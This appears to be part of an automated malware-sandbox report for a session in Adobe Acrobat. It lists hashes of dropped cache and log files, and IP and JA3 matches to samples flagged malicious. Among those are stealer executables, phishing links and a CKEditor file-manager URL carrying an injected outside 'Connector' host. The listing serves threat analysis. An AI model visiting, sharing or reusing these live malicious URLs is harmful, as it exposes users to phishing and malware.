	SecuriteInfo.com.Win64.Malware-gen.22846.13203.exe	Get hash	malicious	Unknown	Browse	51.79.185.26
CLOUDFLARENETUS	#20240627_Edlen_A.xls	Get hash	malicious	SmokeLoader	Browse	188.114.96.3
	https://sign.clickandsign.eu/h/KkObbSMhni	Get hash	malicious	Unknown	Browse	104.16.79.73
	Shipping Documents inv. 523435300XX.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	https://www.acm.gov.pt/html/js/editor/ckeditor/editor/filemanager/browser/liferay/browser.html?p=insta&Connector=https://a.top1cheat.com/kJIVLY5E	Get hash	malicious	Unknown	Browse	172.67.184.156
	hXXps://www.acm.gov.pt/html/js/editor/ckeditor/editor/filemanager/browser/liferay/browser.html?p=insta&Connector=https://a.top1cheat.com/kJIVLY5E	Get hash	malicious	Unknown	Browse	172.67.184.156
	https://shorter.gg/dUUJUv	Get hash	malicious	Phisher	Browse	104.21.74.233
	Doc_10577030xls.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	https://stikeman-vpn.azureedge.net/?value=odWPPcO	Get hash	malicious	Unknown	Browse	104.17.2.184
	https://link.elliottscotthr.com/api/redirect.me?track=000000&url=https%3A%2F%2Fwww.atjehupdate.com/3tvdgh	Get hash	malicious	Unknown	Browse	104.17.2.184
	xvJv1BpknZ.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	http://vsco-prod.web.app	Get hash	malicious	Unknown	Browse	40.68.123.157 184.28.90.27
	http://apieventemitter.com	Get hash	malicious	Unknown	Browse	40.68.123.157 184.28.90.27
	https://sign.clickandsign.eu/h/KkObbSMhni	Get hash	malicious	Unknown	Browse	40.68.123.157 184.28.90.27
	https://wwwyoutube.com/channel/UCFwzdEhmqFuZFpx2Su-taGw	Get hash	malicious	Unknown	Browse	40.68.123.157 184.28.90.27
	https://www.acm.gov.pt/html/js/editor/ckeditor/editor/filemanager/browser/liferay/browser.html?p=insta&Connector=https://a.top1cheat.com/kJIVLY5E	Get hash	malicious	Unknown	Browse	40.68.123.157 184.28.90.27
	hXXps://www.acm.gov.pt/html/js/editor/ckeditor/editor/filemanager/browser/liferay/browser.html?p=insta&Connector=https://a.top1cheat.com/kJIVLY5E	Get hash	malicious	Unknown	Browse	40.68.123.157 184.28.90.27
	http://see-track.com/	Get hash	malicious	Unknown	Browse	40.68.123.157 184.28.90.27
	https://psowapt.weebly.com	Get hash	malicious	HTMLPhisher	Browse	40.68.123.157 184.28.90.27
	https://shorter.gg/dUUJUv	Get hash	malicious	Phisher	Browse	40.68.123.157 184.28.90.27
	https://stikeman-vpn.azureedge.net/?value=odWPPcO	Get hash	malicious	Unknown	Browse	40.68.123.157 184.28.90.27

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.202002227275066
Encrypted:	false
SSDEEP:	6:D9Fq2PRN2nKuAl9OmbnIFUt869OhZmw+69O7kwORN2nKuAl9OmbjLJ:D9FvaHAahFUt869Oh/+69O75JHAaSJ
MD5:	3A5A967AD6CBB13166F9BA2C13EF1A44
SHA1:	72A34592AD391F8AD91143A0053CA942EF3A73E0
SHA-256:	EC8785D4DAA28F9279B178351B4CFC324D5E6C7A540C1421877F3889F6AD8BDA
SHA-512:	202E7BE13BEEE7A94AF0CE149258EE5F942D17C7DBE47E997E33E87EBAEF1F2A203DF15C5C00A3EEBEED26260F9F23BACB766DD877A750EE9329AE8EB936F0D3
Malicious:	false
Reputation:	low
Preview:	2024/05/27-13:30:06.831 1840 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/05/27-13:30:06.833 1840 Recovering log #3.2024/05/27-13:30:06.833 1840 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.202002227275066
Encrypted:	false
SSDEEP:	6:D9Fq2PRN2nKuAl9OmbnIFUt869OhZmw+69O7kwORN2nKuAl9OmbjLJ:D9FvaHAahFUt869Oh/+69O75JHAaSJ
MD5:	3A5A967AD6CBB13166F9BA2C13EF1A44
SHA1:	72A34592AD391F8AD91143A0053CA942EF3A73E0
SHA-256:	EC8785D4DAA28F9279B178351B4CFC324D5E6C7A540C1421877F3889F6AD8BDA
SHA-512:	202E7BE13BEEE7A94AF0CE149258EE5F942D17C7DBE47E997E33E87EBAEF1F2A203DF15C5C00A3EEBEED26260F9F23BACB766DD877A750EE9329AE8EB936F0D3
Malicious:	false
Reputation:	low
Preview:	2024/05/27-13:30:06.831 1840 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/05/27-13:30:06.833 1840 Recovering log #3.2024/05/27-13:30:06.833 1840 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.180136797247704
Encrypted:	false
SSDEEP:	6:D9j+q2PRN2nKuAl9Ombzo2jMGIFUt869XWZmw+69iVkwORN2nKuAl9Ombzo2jMmd:D9j+vaHAa8uFUt869XW/+69iV5JHAa8z
MD5:	9CFE4A442409889E5BC1100479563290
SHA1:	0A3047F47BD145ADA97374CEC593F998AF61C766
SHA-256:	BBC4994F03E785162E47627B18140DFD1CE30DED6EDAF63DD290D57495B49330
SHA-512:	A9375101286D20D62C711162A1E8FE688D5679980E1B74F34892343F11DD521FC680FEC2A3C5C1BD5AE96B97C9A1DCC5347BB457AAE4DC115EDD6FD9DC1DA5BD
Malicious:	false
Reputation:	low
Preview:	2024/05/27-13:30:06.731 18cc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/05/27-13:30:06.736 18cc Recovering log #3.2024/05/27-13:30:06.736 18cc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.180136797247704
Encrypted:	false
SSDEEP:	6:D9j+q2PRN2nKuAl9Ombzo2jMGIFUt869XWZmw+69iVkwORN2nKuAl9Ombzo2jMmd:D9j+vaHAa8uFUt869XW/+69iV5JHAa8z
MD5:	9CFE4A442409889E5BC1100479563290
SHA1:	0A3047F47BD145ADA97374CEC593F998AF61C766
SHA-256:	BBC4994F03E785162E47627B18140DFD1CE30DED6EDAF63DD290D57495B49330
SHA-512:	A9375101286D20D62C711162A1E8FE688D5679980E1B74F34892343F11DD521FC680FEC2A3C5C1BD5AE96B97C9A1DCC5347BB457AAE4DC115EDD6FD9DC1DA5BD
Malicious:	false
Reputation:	low
Preview:	2024/05/27-13:30:06.731 18cc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/05/27-13:30:06.736 18cc Recovering log #3.2024/05/27-13:30:06.736 18cc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\740d5b8c-cc1f-4a93-94ce-f78452bfeba8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	403
Entropy (8bit):	4.953858338552356
Encrypted:	false
SSDEEP:	12:YHO8sq/WLksBdOg2H9caq3QYiubrP7E4T3y:YXsRJdMHM3QYhbz7nby
MD5:	4C313FE514B5F4E7E89329630909F8DC
SHA1:	916EED77EC8C9DC90C64FF1E5CC9D04D4674EE56
SHA-256:	1EE7C151EF264F91FCDCCB6644F62DC33E27A4E829DAAB748DA1DE4426400873
SHA-512:	1726CAFCBA0121691DFA87A7298E6610BC4C7FD900867FD1B1710811E764918585E56788E08B7CA2CEE001F5DFD110E1BE6F6BBD7C2A7B7E2FC87D3DED210205
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341145152835463","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144284},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.16","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\800cdb10-a2d4-4d35-9dd5-f3647155a75a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	403
Entropy (8bit):	4.973016377524582
Encrypted:	false
SSDEEP:	12:YHO8sqp1EsBdOg2HCcaq3QYiubrP7E4T3y:YXsk3dMHN3QYhbz7nby
MD5:	F2479FC6399BD350F4E6A01C06803818
SHA1:	1FAC1734EAD0D931336D922367D4DF8F3694A163
SHA-256:	988EC852D07C97F1790D2404E0AF3190DBDC49C557ED54374B8264354590C715
SHA-512:	7A0CC4893ABA8FC63BE59F3937CCABF59EA036C40E17C52AF6AF4C4FA6EB13C25A13C0118D44A6F18E566030D283527370798C1EB23EF388C7FA088BA84F5BAA
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13361391018713281","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":159612},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.16","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	403
Entropy (8bit):	4.953858338552356
Encrypted:	false
SSDEEP:	12:YHO8sq/WLksBdOg2H9caq3QYiubrP7E4T3y:YXsRJdMHM3QYhbz7nby
MD5:	4C313FE514B5F4E7E89329630909F8DC
SHA1:	916EED77EC8C9DC90C64FF1E5CC9D04D4674EE56
SHA-256:	1EE7C151EF264F91FCDCCB6644F62DC33E27A4E829DAAB748DA1DE4426400873
SHA-512:	1726CAFCBA0121691DFA87A7298E6610BC4C7FD900867FD1B1710811E764918585E56788E08B7CA2CEE001F5DFD110E1BE6F6BBD7C2A7B7E2FC87D3DED210205
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341145152835463","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144284},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.16","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6c8119.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	403
Entropy (8bit):	4.953858338552356
Encrypted:	false
SSDEEP:	12:YHO8sq/WLksBdOg2H9caq3QYiubrP7E4T3y:YXsRJdMHM3QYhbz7nby
MD5:	4C313FE514B5F4E7E89329630909F8DC
SHA1:	916EED77EC8C9DC90C64FF1E5CC9D04D4674EE56
SHA-256:	1EE7C151EF264F91FCDCCB6644F62DC33E27A4E829DAAB748DA1DE4426400873
SHA-512:	1726CAFCBA0121691DFA87A7298E6610BC4C7FD900867FD1B1710811E764918585E56788E08B7CA2CEE001F5DFD110E1BE6F6BBD7C2A7B7E2FC87D3DED210205
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341145152835463","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144284},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.16","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.230590580692434
Encrypted:	false
SSDEEP:	96:OLSw0bSwIAnrRqLX2rSq1OUxu/0OZ0xRBTxekN8xe/uXirvo:OLT0bTIeYa51Ogu/0OZARBT8kN88/uX1
MD5:	345271F69DAE1D607F3E87FEFA056E96
SHA1:	480A46576EFCFCFD90C2F0A16DC437DA127A549D
SHA-256:	3CCF0D7168C46FDEA9378B07B090F3D495F0F8E97DC14EBE157C7C1447EE2270
SHA-512:	B44FC61CA9A59C1807CF9542F5842246186A52F5658A217807E80730848E0076B02342E9F26AA30FBDB5FBFDAFB2F9CAB5B1F7B66BD18374F30B48D2EB98E04A
Malicious:	false
Preview:	*...#................version.1..namespace-e...o................next-map-id.1.Pnamespace-1d95df23_a38f_44a8_b732_4e62dd896a16-https://rna-resource.acrobat.com/.0y.S_r................next-map-id.2.Snamespace-2a884c18_b39c_4e3d_942f_252e530ca4bd-https://rna-v2-resource.acrobat.com/.16.X:r................next-map-id.3.Snamespace-2e78bfda_7188_4688_a4aa_1ff81b6e5eaa-https://rna-v2-resource.acrobat.com/.2.P.@o................next-map-id.4.Pnamespace-09c119c2_97bc_4467_8f67_f92472c9e5dc-https://rna-resource.acrobat.com/.346.+^...............Pnamespace-1d95df23_a38f_44a8_b732_4e62dd896a16-https://rna-resource.acrobat.com/....^...............Pnamespace-09c119c2_97bc_4467_8f67_f92472c9e5dc-https://rna-resource.acrobat.com/..?&a...............Snamespace-2a884c18_b39c_4e3d_942f_252e530ca4bd-https://rna-v2-resource.acrobat.com/_...a...............Snamespace-2e78bfda_7188_4688_a4aa_1ff81b6e5eaa-https://rna-v2-resource.acrobat.com/...o................next-map-id.5.Pnamespace-07af9ee9_2076_4f12_94b5_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.218097319734246
Encrypted:	false
SSDEEP:	6:D9ySN+q2PRN2nKuAl9OmbzNMxIFUt869AWZmw+69/KVkwORN2nKuAl9OmbzNMFLJ:D9yi+vaHAa8jFUt869AW/+69/KV5JHAo
MD5:	EFF3EFC1C2117264E133BB88C827821F
SHA1:	933C24E0A0454B70D921CE19B5EB80B980F55C23
SHA-256:	88AF2BFDE8D23A03B3B845FF67B1F59D71C2F3CD3534667559C436F8FE88BA90
SHA-512:	AF9E088E26CC1D2C60424E5064ECFD48D4A73F250CE380F802FF867E121D5576F1F44D42C28E9B80AC22EC92EF371C71BC017C7C0A81D8F253CBF1FB1150CF63
Malicious:	false
Preview:	2024/05/27-13:30:06.867 18cc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/05/27-13:30:06.869 18cc Recovering log #3.2024/05/27-13:30:06.871 18cc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.218097319734246
Encrypted:	false
SSDEEP:	6:D9ySN+q2PRN2nKuAl9OmbzNMxIFUt869AWZmw+69/KVkwORN2nKuAl9OmbzNMFLJ:D9yi+vaHAa8jFUt869AW/+69/KV5JHAo
MD5:	EFF3EFC1C2117264E133BB88C827821F
SHA1:	933C24E0A0454B70D921CE19B5EB80B980F55C23
SHA-256:	88AF2BFDE8D23A03B3B845FF67B1F59D71C2F3CD3534667559C436F8FE88BA90
SHA-512:	AF9E088E26CC1D2C60424E5064ECFD48D4A73F250CE380F802FF867E121D5576F1F44D42C28E9B80AC22EC92EF371C71BC017C7C0A81D8F253CBF1FB1150CF63
Malicious:	false
Preview:	2024/05/27-13:30:06.867 18cc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/05/27-13:30:06.869 18cc Recovering log #3.2024/05/27-13:30:06.871 18cc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-240527173010Z-163.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 107 x -152 x 32, cbSize 65110, bits offset 54
Category:	dropped
Size (bytes):	65110
Entropy (8bit):	2.250473679727877
Encrypted:	false
SSDEEP:	192:azkIk7Ck7CkAkzk6k6k6kbkSkeBkvkeDkkkfkFOkXOk6k6kok7tZk1k6k+k+k+kN:pZUMZBdrzbrRg++C0MbMo
MD5:	58BF2169812800E07466D20CE445A1D7
SHA1:	3D72CEE91736689FCF655459818407EC9AA25FE4
SHA-256:	B3BE9C29F53B41614B0A3EE3BE4A68C57524942CF33D776743D1BF3199CA8C72
SHA-512:	74A72FECE4E70C852F5E950C767DBD30311C715D8BAFCB6E64F884818D68348CCDDB64586E89A88B145A937B5E752B2EACFFC3FDE96631DA6891234D4A3D2EB0
Malicious:	false
Preview:	BMV.......6...(...k...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 2, database pages 14, cookie 0x5, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	3.291927920232006
Encrypted:	false
SSDEEP:	192:vedRBvVui5V4R4dcQ5V4R4RtYWtEV2UUTTchqGp8F/7/z+FP:veBci5H5FY+EUUUTTcHqFzqFP
MD5:	A4D5FECEFE05F21D6F81ACF4D9A788CF
SHA1:	1A9AC236C80F2A2809F7DE374072E2FCCA5A775C
SHA-256:	83BE4623D80FFB402FBDEC4125671DF532845A3828A1B378D99BD243A4FD8FF2
SHA-512:	FF106C6B9E1EA4B1F3E3AB01FAEA21BA24A885E63DDF0C36EB0A8C3C89A9430FE676039C076C50D7C46DC4E809F6A7E35A4BFED64D9033FEBD6121AC547AA5E9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	16928
Entropy (8bit):	1.2135426574443513
Encrypted:	false
SSDEEP:	24:7+t7H1WqLi+zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mzms:7MhWqLmFTIF3XmHjBoGGR+jMz+Lhy
MD5:	38FEFA76010AAB4F6606CCDDFA111F57
SHA1:	92D95948640DA8E5622510216C9580B600809A85
SHA-256:	DE1F57808CAE27AD6CA83D3950AD18008347001ABA7668FFD14496837C3310F3
SHA-512:	675B0E53D5BD21DA6BC0A7338AD8738328160D1AE15A6BC862F17814F4F0935E6F840A2529A9DA4CE93A3F5F65E305FF21974AC671EE33F540A648FD8F631973
Malicious:	false
Preview:	.... .c......HF!........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 69993 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	69993
Entropy (8bit):	7.99584879649948
Encrypted:	true
SSDEEP:	1536:iMveRG6BWC7T2g1wGUa5QUoaIB9ttiFJG+AOQOXl0Usvwr:feRG6BX6gUaHo9tkBHiUewr
MD5:	29F65BA8E88C063813CC50A4EA544E93
SHA1:	05A7040D5C127E68C25D81CC51271FFB8BEF3568
SHA-256:	1ED81FA8DFB6999A9FEDC6E779138FFD99568992E22D300ACD181A6D2C8DE184
SHA-512:	E29B2E92C496245BED3372578074407E8EF8882906CE10C35B3C8DEEBFEFE01B5FD7F3030ACAA693E175F4B7ACA6CD7D8D10AE1C731B09C5FA19035E005DE3AA
Malicious:	false
Preview:	MSCF....i.......,...................I.................oXAy .authroot.stl.Ez..Q6..CK..<Tk...p.k..1...3...[..%Y.f..."K.6)..[I.hOB."..rK.RQ..}f..f...}....9.\|.....gA...30.,O2L...0..%.U...U.t.....`dqM2.x..t...<(uad.c...x5V.x..t..agd.v......i...KD..q(. ...JJ......#..'=. ...3.x...}...+T.K..!.'.`w .!.x.r.......YafhG..O.3....'P[..'.D../....n..t....R<..=\E7L0?{..T.f...ID...,...r....3z..O/.b.Iwx.. .o...a\.s........."..'.......<;s.[...l...6.)ll..B.P.....k.... k0.".t!/.,........{...P8....B..0(.. .Q.....d...q,\.$.n.Q.\.p...R..:.hr./..8.S<a.s...+#3....D..h1.a.0....{.9.....:e.......n.~G.{.M.1..OU.....B.Q..y_>.P{...}i.=.a..QQT.U..\|!.pyCD@.....l..70..w..)...W^.`l...%Y.\................i..=hYV.O8W@P.=.r.=..1m..1....)\.p..\|.c.3..t..[...).....l.{.Y....\S.....y....[.mCt....Js;...H....Q..F.....g.O...[..A.=...F[..z....k...mo.lW{`....O...T.g.Y.Uh.;m.'.N..f..}4..9i..t4p_bI..`.....Ie..l.P.... ...Lg......[....5g...~D.s.h'>n.m.c.7...-..P.gG...i$...v.m.b[.yO.P/*.YH.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	893
Entropy (8bit):	7.366016576663508
Encrypted:	false
SSDEEP:	24:hBntmDvKUQQDvKUr7C5fpqp8gPvXHmXvponXux:3ntmD5QQD5XC5RqHHXmXvp++x
MD5:	D4AE187B4574036C2D76B6DF8A8C1A30
SHA1:	B06F409FA14BAB33CBAF4A37811B8740B624D9E5
SHA-256:	A2CE3A0FA7D2A833D1801E01EC48E35B70D84F3467CC9F8FAB370386E13879C7
SHA-512:	1F44A360E8BB8ADA22BC5BFE001F1BABB4E72005A46BC2A94C33C4BD149FF256CCE6F35D65CA4F7FC2A5B9E15494155449830D2809C8CF218D0B9196EC646B0C
Malicious:	false
Preview:	0..y...H.........j0..f...1.0....H.........N0..J0..2.......D....'..09...@k0....H........0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30...000930211219Z..210930140115Z0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30.."0....H.............0..........P..W..be......,k0.[...}.@......3vI.?!I..N..>H.e...!.e..2....w..{........s.z..2..~..0....8.y.1.P..e.Qc...a.Ka..Rk...K.(.H......>.... .[.....p....%.tr.{j.4.0...h.{T....Z...=d.....Ap..r.&.8U9C....\@........%.......:..n.>..\..<.i.....)W..=....]......B0@0...U.......0....0...U...........0...U.........{,q...K.u...`...0....H...............,...\...(f7:...?K.... ]..YD.>.>..K.t.....t..~.....K. D....}..j.....N..:.pI...........:^H...X._..Z.....Y..n......f3.Y[...sG.+..7H..VK....r2...D.SrmC.&H.Rg.X..gvqx...V..9$1....Z0G..P.......dc`........}...=2.e..\|.Wv..(9..e...w.j..w.......)...55.1.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	330
Entropy (8bit):	3.147554613759385
Encrypted:	false
SSDEEP:	6:kKpWMXlDN+SkQlPlEGYRMY9z+4KlDA3RUeVlWI/Vt:AMXlMkPlE99SNxAhUeVLVt
MD5:	F4E393F8A3B51FD29D4B05E4529E75E0
SHA1:	EA80D9D7446307400AFBD756AB0BCCBE10363B29
SHA-256:	32146EB3A01B64E6BAB1CA15232FB253D083F7284E5CB77E2892BDACE3FEFDC3
SHA-512:	397F740261C75378DD93C63B914FFAF5875CC8BD660DD2DDE3DDA049AE7E011B1BFA7E4F4641189475CFB43E71A114A2CB674ADBD4F9CD190098221AEDB60616
Malicious:	false
Preview:	p...... ........y@.[...(....................................................... ........M.........(...........i...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".b.3.6.8.5.3.8.5.a.4.7.f.d.a.1.:.0."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	252
Entropy (8bit):	3.018927670754178
Encrypted:	false
SSDEEP:	3:kkFklMl+V/kltfllXlE/E/KRkzllPlzRkwWBARLNDU+ZMlKlBkvclcMlVHblB8VR:kKHlq/kLxliBAIdQZV7I7kc3
MD5:	4116561E41C70A5AAE025F6CCEC6C25E
SHA1:	5F8C477E899FF81B2DCE5671D2DE870E5889549E
SHA-256:	1BCEBF31504D70BC619535133B05085C1567EAC66257C9FA7395E5B45CC15E96
SHA-512:	52FE077B02EB270FF1A1405DFED98B6705D171A5F13101ADF2875C05A4AF3440B47CC11F813E5017CE4E240C70F92FE90CF29A96F2937E26F74427506827F132
Malicious:	false
Preview:	p...... ....`....p..[...(....................................................... ........!.M........(...........}...h.t.t.p.:././.a.p.p.s...i.d.e.n.t.r.u.s.t...c.o.m./.r.o.o.t.s./.d.s.t.r.o.o.t.c.a.x.3...p.7.c...".3.7.d.-.6.0.7.9.b.8.c.0.9.2.9.c.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.36069398655183
Encrypted:	false
SSDEEP:	6:YEQXJ2HXft/Q5IRR4UhUR0Y/UoAvJM3g98kUwPeUkwRe9:YvXKXhQWRuUhUjGMbLUkee9
MD5:	08AFE109EF411B6DA82013576B1F6A25
SHA1:	B1F6AFA1DC691CD2E9D5839B20C9B4F3EF3FB264
SHA-256:	5B7BD5B9C82B85626B420664F1FDB25DE092FF734ABB0A33FA271D5298D265DF
SHA-512:	6F0AF2B13018E99464907187B157749CAAD6D76C4BC2DAA12FACC531D92A0738060EE2EACC23ED45BBED89DBEE8D2D96BBCCADF2EA06F37D3EAD0FD006EE91C7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c92acf8f-20e1-449e-b17e-253348f50a04","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1717008522291,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

